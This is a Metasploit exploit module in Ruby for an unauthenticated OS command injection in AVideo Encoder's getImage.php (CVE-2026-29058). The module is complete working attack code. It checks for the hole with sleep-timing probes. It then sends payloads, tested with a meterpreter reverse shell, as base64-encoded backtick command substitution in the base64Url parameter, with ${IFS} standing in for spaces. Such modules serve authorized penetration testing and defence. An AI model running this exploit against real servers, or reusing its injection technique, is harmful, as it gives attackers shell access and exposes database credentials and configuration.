Valentin Lobstein
dfe73bb4c5
Unauthenticated OS command injection via the base64Url parameter in getImage.php. The URL is interpolated into an ffmpeg shell command without escapeshellarg(), and FILTER_VALIDATE_URL does not block shell metacharacters in the URL path.
113 lines
3.9 KiB
Ruby
113 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection',
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'Description' => %q{
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This module exploits an unauthenticated OS command injection vulnerability
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in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).
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The base64Url GET parameter is base64-decoded and injected directly into an
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ffmpeg shell command within double quotes, without any sanitization or use of
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escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell
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metacharacters such as $() in the URL path, allowing command substitution.
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A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated
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into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data.
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The Encoder code is served by the main AVideo Apache container (mounted at
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/Encoder), so exploitation gives access to the main application context including
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database credentials and configuration.
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Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg()
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and shell metacharacter stripping.
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},
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'Author' => [
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'arkmarta', # Vulnerability discovery -- props to you man
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'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2026-29058'],
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['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder']
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],
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'Privileged' => false,
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'Targets' => [
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[
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'Unix/Linux Command Shell',
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{
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'Platform' => %w[unix linux],
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'Arch' => ARCH_CMD,
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# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
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'DefaultOptions' => {
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'ENCODER' => 'generic/none',
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'FETCH_WRITABLE_DIR' => '/tmp'
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}
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2026-03-05',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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register_options([
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OptString.new('TARGETURI', [true, 'The base path to AVideo', '/'])
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])
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end
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def check
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res = send_getimage('true')
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return CheckCode::Unknown('Failed to connect to the target.') unless res
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return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200
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hits = 0
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3.times do |i|
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sleep_time = rand(1..3)
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vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...")
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_, elapsed = Rex::Stopwatch.elapsed_time do
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send_getimage("sleep${IFS}#{sleep_time}")
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end
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next unless elapsed >= (sleep_time - 0.5)
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vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed")
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hits += 1
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end
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return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2
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CheckCode::Safe('getImage.php is accessible but command injection did not trigger')
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end
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def exploit
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print_status('Sending command injection via getImage.php...')
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send_getimage(payload.encoded.gsub(' ', '${IFS}'))
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end
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def send_getimage(cmd)
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'),
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'method' => 'GET',
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'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' }
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})
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end
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end
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